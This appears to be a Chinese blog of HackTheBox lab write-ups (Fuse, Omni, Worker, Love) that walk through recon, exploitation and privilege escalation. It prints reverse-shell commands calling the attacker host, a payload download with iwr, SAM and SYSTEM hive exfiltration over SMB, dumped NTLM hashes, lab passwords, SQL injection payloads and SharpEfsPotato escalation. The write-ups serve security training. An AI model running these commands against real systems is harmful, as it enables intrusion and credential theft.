| crackmapexec winrm fabricorp.local -u svc-print -p "\$fab@s3Rv1ce\$1"
|

winPEASany.exe没有给我太多结果 先看看其他的 然后不行再去试bloodhound

SeLoadDriverPrivilege 是个有意思的东西 下面这两个博客解释的很好 一个原文一个复现
https://cloud.tencent.com/developer/article/1180772
https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/

也提到了 为什么svc-print能登录

https://github.com/TarlogicSecurity/EoPLoadDriver/
~~eoploaddriver有编译好的了 在作者的issue里 ~~https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2
项目地址:https://github.com/umiterkol/EoPLoadDriver_Release/releases
上面有删除线的是原文提到的原本的程序 需要配合sys使用 自由度很高
下面这个项目也是原文里提到的 打包成EXE就行了
https://github.com/tandasat/ExploitCapcom/
他会弹出一个cmd窗口 里面是管理员权限 但很明显这不是我们想要的 所以稍微改一下就行

其实就是在这个位置调用的

想执行什么改成什么就行 因为svc-print在winPEASany中给我的结果是svc-print用户的目录所有人都可写 所以我选择了这个目录

根据教程 我要先加载才行 但它提示 没有这个权限?

我google这个问题 就是典型的权限不够
如果直接执行的话 会提示(下面这个原因就是没有加载Capcom.sys)

到了此处我才明白所有逻辑 上面那个项目提示我们要加载Capcom.sys 而加载就要靠poc工具 加载完成后 再使用上面的exp打上去
下面这个是编译好的 但很可惜 我使用一直失败 所以我打算自行编译
编译好的项目地址:https://github.com/umiterkol/EoPLoadDriver_Release/releases
源代码:https://github.com/TarlogicSecurity/EoPLoadDriver/


Ctrl + Alt + L 打开资源管理器

新建源文件就行

最上面有个头文件无关紧要 删了就行 然后切换release生成解决方案就完事了

果然自行编译的就没出问题了 但是

可能是我的理解错了 svc-print目录是基于当前用户给的结果 SYSTEM还是没权限来看 我打算放到公共目录

根目录test文件夹是可写的 所以我打算放到里面


结束
这个靶场花了我非常多的时间 评分只有3.5星可能主要是因为路上太曲折 很多东西要重复 而且还不是常规的 但我觉得他值得一个5星 这个靶场和Forest有异曲同工之妙
Forest主要是经典常规的域渗透 我在学习完之后再去看Forest基本上都能理解 但是这个靶场跟常规没有丝毫关系 它更好的扩展了另一面 比如smbpasswd远程改密码 爆破的时候生成字典要多学一点参数 域用户的密码一直被更改 其实可以写bashshell来一直获取新密码 但是我没有写 在解决这三个问题时 我花了太多太多时间 我只能一步一步深入才能了解他背后的逻辑 比如改密码 我才知道他有定时任务一直在重置密码 并且爆破非常慢 所以我一般不喜欢爆破 总归是不喜欢 但是还是要经常使用爆破
提权部分是一个新的我之前没学过的 他们写的博客是因为自己了解得很深 所以直接用就行了 导致我刚开始看完全是懵的 不知道如何利用 在提权利用这一块我整个人都有点发昏了 从getshell到提权接收面太多 尝试了非常非常多的操作 所以我睡了一觉起来了之后 再去尝试了解这个逻辑就非常清晰了
在后续Forest和Fuse这两个靶场我会当作复习来使用
到现在我想看看定时任务是怎么执行的 同时看看其他人的wp
第一个貌似就是重置密码的定时任务

1
| schtasks /query /tn "Revert Password and Expiry" /fo LIST /v
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| Folder: \
HostName: FUSE
TaskName: \Revert Password and Expiry
Next Run Time: 11/30/2024 7:44:00 PM
Status: Ready
Logon Mode: Interactive only
Last Run Time: 11/30/2024 7:43:00 PM
Last Result: 0
Author: N/A
Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: FABRICORP\Administrator
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 12:00:00 AM
Start Date: 6/10/2020
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 0 Hour(s), 1 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
|
每分钟执行一次 将bnielson和tlavel的密码改成Fabricorp01 但是这个powershell的命令貌似不全
1
| schtasks /query /tn "Revert Password and Expiry" /xml
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| <?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\Revert Password and Expiry</URI>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>S-1-5-21-2633719317-1471316042-3957863514-500</UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
</Settings>
<Triggers>
<TimeTrigger>
<StartBoundary>2020-06-10T00:00:00</StartBoundary>
<Repetition>
<Interval>PT1M</Interval>
</Repetition>
</TimeTrigger>
</Triggers>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch
angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;</Arguments>
</Exec>
</Actions>
</Task>
|
这个就很全了 将密码重置并且Set-ADUser -ChangePasswordAtLogon:$true
所以在登陆的时候一直提示需要更改密码 然后再看看其他人的wp的整体思路

怪不得密码一直恢复 初心是好的
我看了很多wp基本操作都一样 只有这个人将获取密码做成了自动化 然后在最下面执行自己想要执行的命令

16.Omni
信息收集:


rpc空密码
1
2
| rpcclient -U "" -N 10.10.10.204
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
|
5985 winrm 没有账密也不行 而且一般是getshell用的

8080端口需要认证 我打算看一下是什么框架然后爆破目录

有个临时重定向

没有什么东西 但是我在这个页面的源码里面找到一个css文件
http://10.10.10.204:8080/css/common.css



但是都没有什么东西
https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0
这个博客提示了后端可能存在一个sqlserver的web程序 但是并没有任何相似的地方 所以说可能并不是
1
2
3
4
5
| HTTP/1.1 401 Unauthorized
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"
Date: Sun, 01 Dec 2024 20:32:22 GMT
Content-Length: 0
|
根据回包我发现这个应用程序是 Windows Device Portal 但并没有什么东西 我卡了又有点久
貌似这确实没啥东西 我尝试看29817 29819 29820这几个端口

nmap的结果跟我信息收集时一样 没有太多什么东西 有意思的是有两个端口有回复
但是我并不知道这几个都是啥东西 只能google看看默认了

随着搜索的深入 我找到了exp
https://github.com/SafeBreach-Labs/SirepRAT
而且非常方便

没问题 是能使用的
这里我研究了非常久 因为我用msfvenom生成的shell 能写进去 但是执行就是不会反弹 我一直以为我写入错了 但好像就是无法反弹
下面这个命令告诉我了有个目录
1
2
3
4
5
| python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 30, payload peek: 'b'C:\\Data\\Users\\DefaultAccount\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>
|
而 C:\Data\Users\DefaultAccount这个目录是可写的 我传了很多进去 用dir来看 都是没问题的
1
| python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " dir C:\\Data\\Users\\DefaultAccount\\" --v
|

但就是执行失败 powershell的一些payload我都打了 都不行 可以看到上面有个nc64.exe 只有这个可以
1
2
| python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe"
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe" --v
|
上面这两个命令可以很好的解决我的问题

终于拿到shell了 Users里面没有任何flag
奇怪的是这里面貌似啥都没有 像是在容器?或者虚拟机里面 反正就是一个隔离的环境


也就是目前我是物理机 而里面这个data目录才是虚拟机?
我几乎翻了所有目录 基本上只有几个应用程序 但貌似都是默认的应用程序 我开始打算去吧SAM弄出来 看看有没有密码 因为这里的SAM文件 貌似没有被占用? 我直接type就能访问 所以直接copy就行
1
2
3
4
| smbserver.py kali . -smb2support
C:\Data\Windows\System32\config>copy .\SAM \\10.10.16.2\kali\SAM
C:\Data\Windows\System32\config>copy .\SYSTEM \\10.10.16.2\kali\SYSTEM
C:\Data\Windows\System32\config>copy .\SECURITY \\10.10.16.2\kali\SECURITY
|
https://blog.csdn.net/feigerger/article/details/131603338

可惜不行 到这里已经是死路了 我把data文件夹里的所有文件基本上都看了 没见过的也google看看是什么服务 都没有东西 我开始看本地的目录 有个PhoneProvisioner_OEM但是没什么东西
我在这里找到了密码 是一个隐藏文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXIT
|
好在这个密码在80端口验证成功了

我在网上并没有找到什么利用方式
我仔细看了之后发现貌似就是将这台win10上的所有信息全拿到这来了 我验证的时候我确定那个密码就是administrator在计算机上的密码 并不是一个虚拟的 除此之外我还收获了一个wifi的密码 在拿到wifi密码之后我打算传lazagne.exe去看本地存储的密码

还是再搜搜隐藏文件把 依然没任何发现 我尝试了很多很多方式 但结果都告诉我不是这一条路 我不清楚我哪一步出现了问题 但至少现在看来 我已经卡死了 我只能去wp了解
我看完了路径 在获得管理员密码上我的方法确实没有问题 就是需要一直翻文件 这个人列出了三种方法
第一种他提取的是注册表里的SAM和SYSTEM 而我提取的是本地文件 所以啥都没有
第二种在创建管理员用户的时候会被清除 而清除的脚本就是上面那个r.bat
第三种就是找到r.bat 然后读取密码 前两种的密码都是HTLM加密的 需要解密
登录8080端口这个WEB 没有任何问题 问题就是在我没仔细去找里面的应用 只看出来他貌似是web化的资源管理应用 我太依赖google了 google没有给RCE的结果 就以为可能是个坑 我翻的有遗漏

所以这里windows在这个WDP上连接了刚刚那个本地的设备 我需要在WDP上get到那个设备的shell

找到了 命令执行的地方
1
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe
|
我完全看不出来权限有哪里不一样 但他就是能进
老shell

新shell


data目录下的所有东西都能访问了

和root.txt一样 都加密了
在查看了大量博客之后 我开始尝试解密
对我帮助最大的博客:https://stackoverflow.com/questions/63639876/powershell-password-decrypt

一开始一直遇到的是上面的问题 后面才发现已经读取出来的 只是我显示的方式有问题 我读完了上面的博客

一开始我一直读取的结果跟他这个命令行一模一样 但是下面他提到了一个接口 这个才是关键 所以用下面的这个就行了
1
2
| $creds = Import-Clixml -Path C:\data\users\administrator\root.txt
$creds.GetNetworkCredential().password
|

目前利用的前提是需要是创建这个加密内容的用户权限 如果app文件夹里的user.txt是administrator创建的 那么我当前就能解开 但很可惜 我调用的时候会报错 无法解开 这时候需要dpapi才能解开 dpapi的作用就是跨用户跨计算机来使用密码 所以可以拿到那个密钥来尝试解密 比如说我是administrator所以能进行解密root.txt 但是当我解密app里面的user.txt他就会报错 因为我不是app用户
所以现在需要app用户的凭证 其实我早该使用下面这个方法的 也算是个常规方法了
1
2
3
4
5
6
7
| reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
smbserver.py kali . -smb2support
copy .\sam.hiv \\10.10.16.14\kali\sam.hiv
copy .\system.hiv \\10.10.16.14\kali\system.hiv
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...
|

尝试runas貌似切换不了用户 而且虽然目标开着5985端口 我也用不了evil-winrm

但是用了也没效果 因为这两个环境貌似并不是一样的 还是需要通过8080的web服务才能进到那个nfs挂载目录中 这个环境是怎么实现的我还是没有理解 一个USB或者远程服务?data那个窗口还是挂载上来的 等结束了好好了解一下

1
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
|
重新传个nc到app目录 之前那个app没权限访问到
1
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe
|
获取flag
1
2
| $creds = Import-Clixml -Path C:\Data\Users\app\user.txt
$creds.GetNetworkCredential().password
|
结束
但是还有几个问题没解决
第一个:我记得在解密的时候导入那个用户的凭据貌似也能直接解密 不需要切换用户
第二个:切换用户我只了解到了runas google上面也只有这一种方法 看看有没有其他方法能更方便
第三个:这个环境到底是啥样的
从第一个开始来 google很久都没结果 我选择问claude

第二个
1
2
3
4
5
6
7
8
9
10
| psexec -u app -p password powershell
$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred
# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"
|
第三个

不得不说 确实niu


至此逻辑非常清晰了
1
2
3
4
5
| iot core是管理层,控制对usb设备也就是data目录的访问
8080是iot core的管理接口 也就是之前说的那个Windows Device Portal
28080端口运行着主程序
通过8080端口的web解密获得凭据 才能对data目录操作
攻击者-->8080管理接口-->usb设备-->data目录
|
不得不说这个靶场很有特点 就是windows特有的服务 扩展很好
17.Worker
getshell部分卡住了 仅作练习使用
信息收集:



80端口啥都没有 后台挂个爆破把

3690是一个svnserve服务
https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server
这个网址里面有针对svnserve的payload 他也是这个靶场
1
2
3
4
| svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
|
将域名加到了hosts
拿到了源码 但是他是纯前端页面 估计就是给了一个提示 在http://dimension.worker.htb/#work 我看到了很多子域名

点开加到hosts里 同时接着爆破子域名
我加入hosts里面的好像都是纯前端页面 都是来自http://html5up.net/ 针对这几个域名JSFinder.py也没给我结果

1
| wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H "Host: FUZZ.worker.htb" --hh 703
|


看来还是要爆破 但是我一般不喜欢爆破 很卡
先用cewl生成完所有域名的字典 然后看一下请求包

HTLM协议的 貌似有点麻烦 但是右边给出了其他两种协议 貌似可以用他们进行认证 我google了一下
https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication

所以说是可以用Basic构造的
如果说用户名和密码都用这个字典 加起来得1800*1800 太大了 所以我打算去找几个用户名

所以这个框架是 Azure DevOps Server 我打算根据这个去找用户名
除此之外 ffuf还在运行 他又给了我一个结果

当然也是啥也没有 我开始爆破这个Azure DevOps Server 我没搜到默认用户名 所以我放入了几个简单的用户名

其次我尝试爆破这个服务的目录 然后同时记住svnserve 我现在还不是特别清楚这个是干啥的 之前使用的都是exploit给的命令 他可以查看默认页面的源码 如果可以查看devops.worker.htb的源码 那我感觉离目标就非常近了

我没有仔细阅读 在重新看svnserve的时候这里其实他提到了
这个纯前端的源码 我不知道这个有啥用 在我仔细看了下命令的时候 我貌似发现了盲点
1
2
3
4
| svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
|
目前搜到的相关信息少之又少 我的理解的svn库类似于github上的 它可以提交更新很多次 而我也可以获得这几次更新的结果 重新更新我的本地代码库 至少根据我操作的结果是这样的
1
| svn log svn://10.10.10.203
|

后面有个r1-r5 而下面这个命令我去搜了下

他其实是update的缩写 就是将目标选定的版本更新到本地
我刚刚下载的是第一个版本 我开始更新2345 来看看有什么不同

moved.txt 被delete掉了 新增了一个deploy.ps1

这里我看明白了 跟上一个靶场一样 powershell加密了密码

所以原文密码还是
可惜的是winrm和devops.worker.htb都无法验证这个密码

我切换到了第3个更新

他只是把密码删了而已 毕竟要开源
第4个更新

直接给deploy.ps1删了
第5个更新

看到这里关键点就是第2个更新 那里有密码 但我并不清楚我为什么一直验证失败

没错 密码是有问题的 再上一个靶场了解powershell加密的时候 原文就是原文 他加密的目的也是为了后续更好调用 我拿原文应该是没问题的才对 但是这里80端口winrm都告诉我 鉴权失败
powershell是我的弱项 我开始尝试读懂那个powershell干了什么事

在这里我了解到了 pwd他进行了简单的加密 然后传递给了Credential 然后利用这个凭证 去执行了
1
2
3
4
5
6
7
| Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
Start-Process 开始新进程执行后面的命令
powershell.exe -Credential $Credential 调用上面的凭证
ArgumentList 传参
所以最终命令如下
powershell.exe -file Copy-Site.ps1
|

-file 就是将Copy-Site.ps1传入 然后执行 那就豁然开朗了 所以目前要拿到密码需要执行
1
2
3
| $user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
|
在我开始研究这个ps1的逻辑之前我在宿主机win11上执行了 但是报错 我就没管他了 现在我要重新看看这个
这个加密逻辑 我这个运行不了 我找到了另一种方法 https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text 但是结果如下

加密就只是为了创建凭证 没有其他作用 他的密码就是那个 至少我获得了一个账户 我尝试对这个账户进行爆破 因为我还有个字典
我打算bupsuite和crackmapexec同时爆破


然后接着爆破这个网站的目录 爆破出了一个/bin目录 为404 其他没东西
然后winrm和80的爆破 也都没用 这里还有机会 这个密码wendel98后面有数字 可以再根据这个密码 再生成新密码
1
| crunch 8 8 -t wendel%% > new_password.txt
|
这个字典也不行 我以为这个靶场不用看wp了 还是卡住了


没想到我卡在这里
新开了一个google终于进来了 因为firefox不知道为啥也不能登录

azure devops在网上都没有漏洞 这里可能要把源码下载下来 在里面拿信息?因为他就是一个纯前端页面 没有啥信息能拿到

这里有个文件 有点意思 但是打开为空 我尝试去看他的history

还是没什么 我目前能想到的就是 上传上去的文件能正常被解析 实际上并不行 比如我想解析当前这个index.html 都不行 我将项目拉到本地 打开之后也没什么 我没有一个好的想法 于是尝试google
可惜的是我并没有找到任何利用方法 我开始转变思路 如果说azure devops能部署aspx或者asp都可以 能部署的话 也能getshell

我找到了微软的官方博客 他的意思就是我部署完了用这个管理是没问题的 无法在azure devops 这上面部署
我开始看wp 看了下一步之后 我还是无法理解它是如何部署上去的 毕竟刚接触这个东西
所以以下仅作学习使用 因为这东西超过我理解的范畴了 在之前我都是根据应用程序找RCE流程 快速的了解这个程序 然后RCE 但是这里并没有这种 而是教我去部署 跟上个靶场一模一样 都是从新学习 而这种应用都是特有的 这是必须要学的 也是困难的 后续我将结合claude和其他人的wp来学习这个东西 直到完全理解 下面会写上我的笔记
https://www.youtube.com/watch?v=scEDHsr3APg
这个视频讲清楚了DevOps CI/CD 的工作原理
https://www.redhat.com/zh/topics/devops/what-is-ci-cd
这个稍微更详细一点

CI的意思就是当我对某个应用更改然后合并之后 它就会自动部署 就相当于我在刚刚的azure devops里

这里不是有很多项目吗 在爆破子域名的时候已经发现了 而在pipelines处

能清楚的看到部署的配置文件 这个配置文件定义了这个项目该如何发布 可以看到 他的目标目录为 w:\sites\仓管名称.worker.htb 而这个项目仓库名为alpha

什么又是CD呢 就是一个自动化的交付部署 CI说了 它会自动合并项目 有点像github里的push 当push到主分支的时候 他会自动检查哪里加了 哪里少了 区别在于这里是自动化 CD在CI自动化之后 会自动化部署上来 也就是我们看到的网站
- 当你提交新的代码或修改时
- Pipeline 会自动执行
- CopyFiles 任务会将文件复制到对应目录
- IIS 服务器会自动识别这个目录作为一个新的网站
至此思路理论部分清晰了
1.创建新项目
2.创建代码仓库,初始化仓库或者导入现有代码
3.创建Pipeline 选择代码来源 就是刚刚的仓库就行 选择 “Starter pipeline” 或已有模板
4.配置Pipeline yaml 也就是上面看到的配置文件
5.保存Pipeline设置 Run Pipeline进行第一次部署
6.至此之后 每一次向master或者main推送分支的时候 Pipeline都会自动运行并部署网站
这个也有点像github的actions 参考的博客如下
https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html
原理了解了之后该尝试实操了 git命令 我本身不是很熟悉 在之前尝试push过很多次项目 虽然后续成功了 但仍然不太熟练这些命令 这可以靠这个靶场来学习
我目前的想法是用一次命令的 一次web页面GUI操作的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # git 我将alpha项目clone到本地 加上一个文件 再push上去 应该就可以了
git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha
# Cloning into 'alpha'...
# Username for 'http://devops.worker.htb': nathen
# Password for 'http://[email protected]':
# remote: Azure Repos
# remote: Found 54 objects to send. (51 ms)
# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.
# 这次我不打算使用msfvenom生成shell 而是结合其他人看看他们的方法
# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com 我打算用这个
# 在alpha项目放入了shell.aspx
# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main
|

报错了 提示我没有权限去push到master 这是一个常见的安全措施 后续通过其他人的操作我也了解到了一个机制
pull request

至此攻击链完善了 我无法直接push到master并利用pipeline发布部署项目 我需要新建分支 然后利用pull requests机制请求合并到master 当master中出现我创建的shell.aspx的时候 就可以自动化发布了
1
2
3
4
| # 在本地新建分支
git checkout -b branch2
# push的时候新建分支并push过去
git push --set-upstream origin branch2
|


已经存在了 这里我本来想用命令行走完全程 我去搜了关于pull request的命令方法 但是并没有这样的命令 后续只能靠web页面也实现 也方便


直接create就行

这里我们需要添加一个审核人和工作项

加上自己为审核人再加一个工作项就行


点击 complete merge之后 他会进行合并


合并完成之后可以看到创建的shell.aspx已经传上去了

能访问 现在尝试web页面 创建分支(这个创建分支简单太多了 就不写出来了)
最终拿到了shell

开始提权

可以用烂土豆提权了
尝试了几个 只有这个可以 public目录是可写的 所以我的操作都在public目录
https://github.com/bugch3ck/SharpEfsPotato
1
| SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " whoami | Set-Content C:\Users\Public\w.log"
|

没问题 尝试反弹shell
1
| SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe"
|

结束
这个靶场很有意思 让我学习到了更多的git操作 之前在github上自己操作上传东西 只了解到了一点东西 而这个靶场扩展出来让我了解了 svn azure devops git操作 扩展方面做的非常好 只是我在打靶期间还是看了两次wp 第一次登陆不上去 第二次不清楚这个到底是啥 完全是懵的状态 完完全全看了wp 并且寻求了ai的帮助 这在oscp考试中是不允许的 我不确定我在考试中会不会像这样遇到我完全没了解过的应用 但我能做的就是在遇到这个之后 我通过wp google ai 来完完全全的了解了他的逻辑 但是我还是需要训练我在第一次遇到一个应用时快速去学习并去了解他 在omni和worker靶场之前 都有专门的RCE的流程 有很多人都发布了针对某个应用的RCE流程 但是最近这两个 omni和worker并没有这样 他就是一个正常服务 我无法根据在应用名称后面加上exp RCE getshell等等词汇来获取我想了解的东西
值得一提的是像IIS和MSSQL这种权限 貌似都有SeImpersonatePrivilege权限 所以看到这两个用户时 可以第一时间去找whoami /priv 然后烂土豆提权
18.Love
信息收集:



smb

rpc

mysql

就算有密码也连不上
80端口登陆界面

443端口403可能走的时80的认证 在去访问

http://10.10.10.239/admin/index.php
http://10.10.10.239/index.php
这个两个页面的接口不一样 主页要的是ID 而admin里的要的是username

目录穿越漏洞

框架信息如上


貌似并不存在
这个web用的也不是某个框架搭建的 所以我只能找它存在的某个组件的漏洞

这是一个投票系统 我基本上能确定在user登录那里肯定存在弱口令 他要的是编号 我并不清楚编号的逻辑是什么 但我能确定 一个投票系统人肯定很多 密码弱口令是存在的 但是编号起点我并不知道 我开始尝试最简单的组合 id从1-10000 密码 password Password 123456 admin123 来尝试爆破

xampp 绝对路径是有了

还真有exp 但是他要账号和密码

靶场21年5月1号发布的 而这个exp是1月19号发布的 所以没问题 但是这个exp没有给我太多信息 如果能进后台其实我也能找rce的方法的
这个EXP给了目标的源码 果然是一样的 我将源码下载了下来

https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
我不相信的是 它可能是要我自己挖漏洞

这个sql注入的漏洞也太明显了 网上是搜不到相关的exp 但是看源码就豁然开朗了

不出意外admin的login也是这样
密码这里没办法 我不能直接绕过登录 所以这里只能用注入拿信息 为了验证这里是否存在漏洞 就是是否跟源码一样存在漏洞 而不是被修复了 我进行了验证
输入1为用户名它提示找不到这个用户

输入1’ or 1=1#的时候它提示

密码错误 这里在我看来有三条路
第一条是盲注 但是都知道盲注很浪费时间他的回显都是写死了的 所以只能盲注 但是缺点就是非常慢 优点就是我已经直到后台有RCE的洞了 拿到账户去后台RCE
第二条也是我想走的一条路 直接查询权限 如果说root或者其他有创建用户权限或者是管理员权限的话 就在创建一个允许远程访问的用户就行
第三条直接写shell 绝对路径我已经有了 再去查一下有没有写入的权限就行
第二条兼顾第一条也兼顾第三条 所以我打算看看能不能创建用户

localtion会直接重定向 但是当我访问这个接口的时候 他会完完全全的查询出来 而不会导致延时注入失效

很快我还是发现了一个问题


当返回值为空的时候 就是会报错 其实这也没什么 因为上面已经执行了 这里我只能走第一条路了 现在这种情况盲注拿到账号和密码 比其他这几种方法简单多了 而且我已经有了一个后台RCE 而目前要确定账号是否正确
他的验证逻辑也有很意思 这个接口处 如果我的密码错了 它会将我的session记录数据库中

然后我再携带这个session去访问index.php的时候

就会有回显了 用户名可以用这个注入 密码就不行了 如果说我知道任何一个密码 那么我也可以登陆成功 比如我在投票者的登陆页面 试了一个密码就进来了

poc在结尾
库名

第一个username长度为5

没有第二个username

账号就不用爆破了 已经测出来是admin了
’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ
但是我依然把这个写到了脚本里

结构在源码里都有 但是我想验证一下
’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=“admin”))=60,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ

60个字符 其实这个在源码里也有 就是再验证一下
爆密码太花时间了 这里省略一段时间

运行到这里直接报错了 在我漫长的等待期间 我尝试去看我这一步是否正确 但实际上没有人和我的路一样

就算我拿到了密码 加密后的也需要去撞才行 而rockyou里没有这个密码 一直爆破导致我跟靶机的连接也很卡 poc还是放到最后把
其他的方法getshell的方法 也是我看到wp才了解到的 而这个非常方便

看证书算是一个常规的思路了 而我当时没有去查看证书 算是一个重大失误了 这里有个域名 加到hosts里

这里有个demo


SSRF 可以考这个请求本地的服务 看看有没有上面开着的
在http:127.0.0.1:5000找到了密码


进入了后台 根据之前RCE的教程 直接去找/voters_add.php接口
新建传上去文件就行了 文件名不变

我用nc把shell弹回来了

开始提权
